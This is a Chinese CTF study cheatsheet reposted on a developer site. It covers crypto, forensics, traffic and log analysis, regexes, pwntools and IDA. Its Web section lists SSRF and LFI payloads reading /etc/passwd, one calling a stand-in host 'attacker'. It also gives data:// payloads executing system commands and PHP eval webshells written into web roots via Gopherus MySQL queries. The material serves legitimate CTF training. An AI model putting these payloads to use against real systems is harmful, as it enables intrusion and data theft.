文档备案控制台登录立即注册
首页文章问答视频活动下载资源开发者计划团队号镜像站
发布

一个CTF学习、项目、工具知识仓库​

用户7135016900681
用户7135016900681
技术
技术

【免责声明】文章所涉及的技术、思路和工具仅供安全技术研究，任何人不得将其用于非授权渗透测试，不得将其用于非法用途和盈利，否则后果自行承担。

CTF项目

CTF工具

综合工具

Crypto

Misc

图片

音视频

流量分析

日志分析

数据处理

Web

Pwn

Reverse

Cheatsheet

Tips

搜索flag


        
            

          grep -rn “flag{” /*
        
      


        
            

          find / -type f -name '*' | xargs grep "flag{"

Crypto

常见加密/编码算法特征

1.Base64

一般只包含以下字符：


        
 `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`

2.AES

密钥长度是128bit或者256bit，长度都是16字节。

密文是128或256的整倍数。

3.DES

密钥长度固定8字节。密钥需要运行初始化函数进行单独初始化。

分段加密，每8字节分段。

4.RSA

非对称加密算法，密钥需要单独初始化。

密钥长度一般很长，存储格式为base64文本。

  1. ECC

密钥需要单独初始化。

Misc

常用命令

1.file

  • 在文件无格式或格式不明时判断文件类型。

            
  `> file Exploit.class`
  `Exploit.class: compiled Java class data, version 52.0 (Java 1.8)`

2.binwalk & foremost

  • 分离提取隐写的文件。

3.dd

  • 用于读取、转换并输出数据。

4.openssl


        
            

          openssl rsautl -decrypt -in whoami.txt -inkey private.key out flag.txt

常用正则表达式

1.中国手机号

  • 手机号为11 位10进制数字字符串。

            
                

              ^(13[0-9]|14[01456879]|15[0-35-9]|16[2567]|17[0-8]|18[0-9]|19[0-35-9])\d{8}$
  • 带中划线的手机号码

            
                

              ^[+]{0,1}(d){1,3}[ ]?([-]?((d)|[ ]){1,12})+$

2.电话号码

  • "XXX-XXXXXXX"、"XXXX-XXXXXXXX"

            
                

              (\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}
  • "XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX"

            
                

              ^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
  • 国内电话号码(0511-4405222、021-87888822)

            
                

              \d{3}-\d{8}|\d{4}-\d{7}
  • 支持手机号码，3-4位区号，7-8位直播号码，1－4位分机号

            
                

               ((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)

3.身份证号

  • 15位、18位数字，最后一位是校验位，可能为数字或字符X

            
                

              (^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)

4.国际移动设备识别码（IMEI）

  • IMEI（15 位十进制数字：14 位加上一个校验位）用于表示有关设备来源、型号和序列号的信息。
  • 15位由TAC(+FAC) + SNR + CD组成。末尾采用Luhn 校验位。

            
                

              /^\d{15,17}$/

5.银行卡号（BankCard）

  • 银行卡的长度限制在13-19位。
  • 银行卡号一般有五部分组成：发卡机构标识代码（BIN）、地区代码、卡种类码、顺序码、校验码。
  • 校验码采用Luhn算法计算。

            
                

              /^([1-9]{1})(\d{12}|\d{18})$/

6.IP地址（IPv4）

  • 由四段数字组成，例如192.168.0.1，其中的数字都是十进制的数字，中间用实心圆点分隔。

            
                

              ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}
            
          


            
                

              ((?:(?:25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d?\d))

7.域名


        
            

          [a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\.?
        
      


        
            

          ^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)

8.URL


        
            

          [a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$

9.邮箱地址（Email）


        
            

          ^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
        
      


        
            

          ^[a-zA-Z0-9\_-]+@[a-zA-Z0-9\_-]+(\.[a-zA-Z0-9\_-]+)+$

wireshark流量分析

  • 过滤IP：

        
            

          ip.src eq xxx.xxx.xxx.xxx or ip.dst eq xxx.xxx.xxx.xxx
        
      


        
            

          ip.addr eq xxx.xxx.xxx.xxx
  • 过滤端口：

        
            

          tcp.port eq 80 or udp.port eq 80
        
      


        
            

          tcp.dstport == 80 or tcp.srcport == 80
        
      


        
            

          tcp.port >=1 and tcp.port <=80
  • 过滤协议：

        
            

          tcp/udp/arp/icmp/http/ftp/dns/ip
  • 过滤MAC：

        
            

          eth.dst == A0:04:C6:85:63:73
  • HTTP过滤：

        
            

          http.request.method == "GET"
        
      


        
            

          http.request.method == "POST"
        
      


        
            

          http.request.uri == "/img/logo.png"
        
      


        
            

          http contains "GET"
        
      


        
            

          http contains "HTTP/1."
        
      


        
            

          
 http.request.method == "GET" && http contains "User-Agent:"

tshark流量分析


          
tshark -r **.pcap –Y ** -T fields –e ** | **** > data
          
----------------------------------------------------------------
          
tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt
      


          
Usage:
          
  -Y <display filter>      packet displaY filter in Wireshark display filter
          
                           syntax
          
  -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?
          
                           format of text output (def: text)
          
  -e <field>               field to print if -Tfields selected (e.g. tcp.port,
          
                           _ws.col.Info)

通过 -Y 过滤器 (与 wireshark 一致), 然后用 -T filds -e 配合指定显示的数据段 (比如 usb.capdata)

-e 后的参数不确定可以由 wireshark 右击需要的数据选中后得到

Unicode四种编码形式

源文本：The


          
 [Hex]: The
          
 [Decimal]: The
          
\U [Hex]: \U0054\U0068\U0065
          
\U+ [Hex]: \U+0054\U+0068\U+0065

图片分析

图片分析的一般步骤：

  1. 首先查看EXIF信息。
  2. 如果图片在windows下能查看，kali下无法查看，说明格式数据错误，可以修改图片的长宽高来显示隐藏图像。
  3. 通过binwalk或者foremost查看是否有隐藏文件。
  4. 通过stegsolve进行色差分析，查看zlib数据段。
  5. 查看文件是否包含有损坏的其他文件，查找文件中是否有可疑字符串，例如flag、key、pass。
  6. 验证是否存在隐写，例如LSB隐写。

jpg长宽修改

修改图片高度， FF C0后的第4个字节和第5个字节

png长宽修改


      
 `修改0x14到0x17的四个字节`

picture.image

修改后：

picture.image

压缩包分析

不同压缩包分析方法分别用于：

  1. ZIP暴力破解：文件的密码为纯数字且位数不多时。
  2. ZIP伪加密：ZIP文件的压缩源文件目录中09 00修改为00 00，可以成功解压时。
  3. CRC32攻击：当文件数据少且文件大小较小时。
  4. 明文攻击：加密文件中存在部分已知文件（>12字节）时。

一些tips：

  • 文件打不开，显示“压缩文件已损坏”时，尝试winrar工具中的修复功能进行修复。

zip伪加密

zip文件组成：

  • 压缩源文件数据区 50 4B 03 04（0x04034b50）
  • 压缩源文件目录区 50 4B 01 02（0x02014b50）
  • 压缩源文件目录结束标志50 4B 05 06（0x06054b50）

压缩源文件数据区：


          
50 4B 03 04：这是头文件标记（0x04034b50）
          
14 00：解压文件所需 pkware 版本
          
09 00：全局方式位标记（有无加密）
          
08 00：压缩方式
          
50 A3：最后修改文件时间
          
A5 4A：最后修改文件日期
          
21 38 76 64：CRC-32校验（1480B516）
          
19 00 00 00：压缩后尺寸（25）
          
17 00 00 00：未压缩尺寸（23）
          
08 00：文件名长度
          
00 00：扩展记录长度

压缩源文件目录区：


          
50 4B 01 02：目录中文件文件头标记(0x02014b50)
          
1F 00：压缩使用的 pkware 版本
          
14 00：解压文件所需 pkware 版本
          
09 00：全局方式位标记（有无加密，这个更改这里进行伪加密，改为09 00打开就会提示有密码了）
          
08 00：压缩方式
          
50 A3：最后修改文件时间
          
A5 4A：最后修改文件日期
          
21 38 76 65：CRC-32校验（1480B516）
          
19 00 00 00：压缩后尺寸（25）
          
17 00 00 00：未压缩尺寸（23）
          
08 00：文件名长度
          
24 00：扩展字段长度
          
00 00：文件注释长度
          
00 00：磁盘开始号
          
00 00：内部文件属性
          
20 00 00 00：外部文件属性
          
00 00 00 00：局部头部偏移量

压缩文件源文件目录结束区：


          
50 4B 05 06：目录结束标记(0x06054b50)
          
00 00：当前磁盘编号
          
00 00：目录区开始磁盘编号
          
01 00：本磁盘上纪录总数
          
01 00：目录区中纪录总数
          
59 00 00 00：目录区尺寸大小
          
3E 00 00 00 00：目录区对第一张磁盘的偏移量
          
00 00：ZIP文件注释长度

真假加密：


          
# 无加密 
          
压缩源文件数据区的全局加密应当为00 00
          
且压缩源文件目录区的全局方式位标记应当为00 00
      


          
# 假加密
          
压缩源文件数据区的全局加密应当为00 00
          
且压缩源文件目录区的全局方式位标记应当为09 00
      


          
# 真加密
          
压缩源文件数据区的全局加密应当为09 00
          
且压缩源文件目录区的全局方式位标记应当为09 00

判断伪加密 ZipCenOp


        
            

          java -jar ZipCenOp.jar xxx.zip

Windows日志分析

常见安全事件

  • 检索4624/4625登录事件，爆破时间点与登录事件点一一对应的可能是异常账户。

          
4624  --登录成功   
          
4625  --登录失败  
          
4634 -- 注销成功
          
4647 -- 用户启动的注销   
          
4672 -- 使用超级用户（如管理员）进行登录

Web

localhost绕过


          
http://127.0.0.1:80
          
http://localhost:22
          
http://[::]:80/  >>>  http://127.0.0.1
          
http://example.com@127.0.0.1
          
http://127.0.0.1.xip.io/
          
http://127。0。0。1  >>>  http://127.0.0.1
          
http://0/
          

          
# 十六进制、八进制转换
          
http://127.0.0.1  >>>  http://0177.0.0.1/
          

          
# 转换为小数 https://www.browserling.com/tools/ip-to-dec
          
http://127.0.0.1  >>>  http://2130706433/

Gopherus


          
# mysql
          
> python2 gopherus.py --exploit mysql
          
---------------------------------------------
          
Give MySQL username: root
          
Give query to execute: select "<?php phpinfo();?>" into outfile "/var/www/html/gopher.php"
      


        
            

          select "<?php @eval($\_POST[c]);?>" into outfile "/var/www/html/gopher.php"

SSRF payload

  • PayloadsAllTheThings

file


          
file://path/to/file
          
file:///etc/passwd
          
file://\/\/etc/passwd
          
ssrf.php?url=file:///etc/passwd

http


          
ssrf.php?url=http://127.0.0.1:22
          
ssrf.php?url=http://127.0.0.1:80
          
ssrf.php?url=http://127.0.0.1:443

dict


          
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
          
ssrf.php?url=dict://attacker:11111/

LFI payload


        
            

          index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

PHP伪协议

file协议：


        
            

          http://ip:port/readme.php?filename=file:///var/log/auth.log

filter协议：


        
            

          http://ip:port/readme.php?filename=php://filter/read/convert.base64-encode/resource=./index.php(或者其他读取文件中含有php代码)

filter+file协议：


        
            

          http://ip:port/readme.php?filename=php://filter/read/convert.base64-encode/resource=file:///etc/passwd

input协议：


          
http://ip:port/readme.php?filename=php://www.test.com?filename=php://input
          

          
# POST方式，参数为：
          
<?php phpinfo();?>

data协议：


          
data://text/plain;base64,
          

          
# 打印data://的内容
          
<?php
          
// 打印 "I love PHP"
          
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
          
?>
      


          
# 执行系统命令
          
# 将 <?php system(whoami)?> base64编码：PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
          
http://ip:port/readme.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
          

          
# 也可以将webshell进行base64编码/或不编码
          
http://ip:port/readme.php?filename=data://text/plain;base64,<?php eval($_POST["cmd"];)?>

Pwn

Pwntools

导入包：


        
 `> from pwn import *`

建立/关闭连接：


          
# 本地连接
          
sh = process("./code")
      


          
# 远程连接
          
sh = remote("127.0.0.1",6666)
      


          
# 关闭连接
          
sh.close()

I/O操作：


          
# 发送数据
          
sh.send(data)
          

          
# 发送一行数据
          
sh.sendline(data)
      


          
# 接收数据，numb指定接收字节
          
sh.recv(numb=1024, timeout = default)
          

          
# 接收一行数据，keepends表示是否保留行尾\n
          
sh.recvline(keepends = True)
          

          
# 接收数据直到设置的标志出现
          
sh.recvutil("Hello\n", drop=false)
          

          
# 持续接收数据直到EOF
          
sh.recvall()
          

          
# 持续接收数据直到EOF或timeout
          
sh.recvrepeat(timeout = default)
      


          
# 直接进行交互，在取得shell后使用
          
sh.interactive()

Reverse

IDA快捷键

功能快捷键
切换文本视图与图表视图空格键
返回上一个操作地址ESC
搜索地址和符号G
对符号进行重命名N
常规注释冒号
可重复注释分号
添加标签Alt+M
查看标签Ctrl+M
查看段的信息Ctrl+S
查看交叉应用X
查看伪代码F5
搜索文本Alt+T
搜索十六进制Alt+B

Scripts

作者：Threekiii，转自github

如有侵权，请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具｜无状态子域名爆破工具（1秒扫160万个子域）

查看更多精彩内容，还请关注 橘猫学安全

每日坚持学习与分享，觉得文章对你有帮助可在底部给点个“ **再看

”**

0
0
0
0
关于作者
用户7135016900681
用户7135016900681
关于作者
用户7135016900681
用户7135016900681

文章

0

获赞

0

收藏

0

相关资源
大规模高性能计算集群优化实践
随着机器学习的发展，数据量和训练模型都有越来越大的趋势，这对基础设施有了更高的要求，包括硬件、网络架构等。本次分享主要介绍火山引擎支撑大规模高性能计算集群的架构和优化实践。
点击下载 
相关产品
推荐阅读
Ubuntu22.04上Snort3的安装与基本配置
密码学相关概念
网络侦查——Maltego
How to install Network Card Driver on MECHREVO-15X
从零开始学 Dify - 万字详解 Dify 工作流（workflow）的实现机制
评论
未登录
看完啦，登录分享一下感受吧～
暂无评论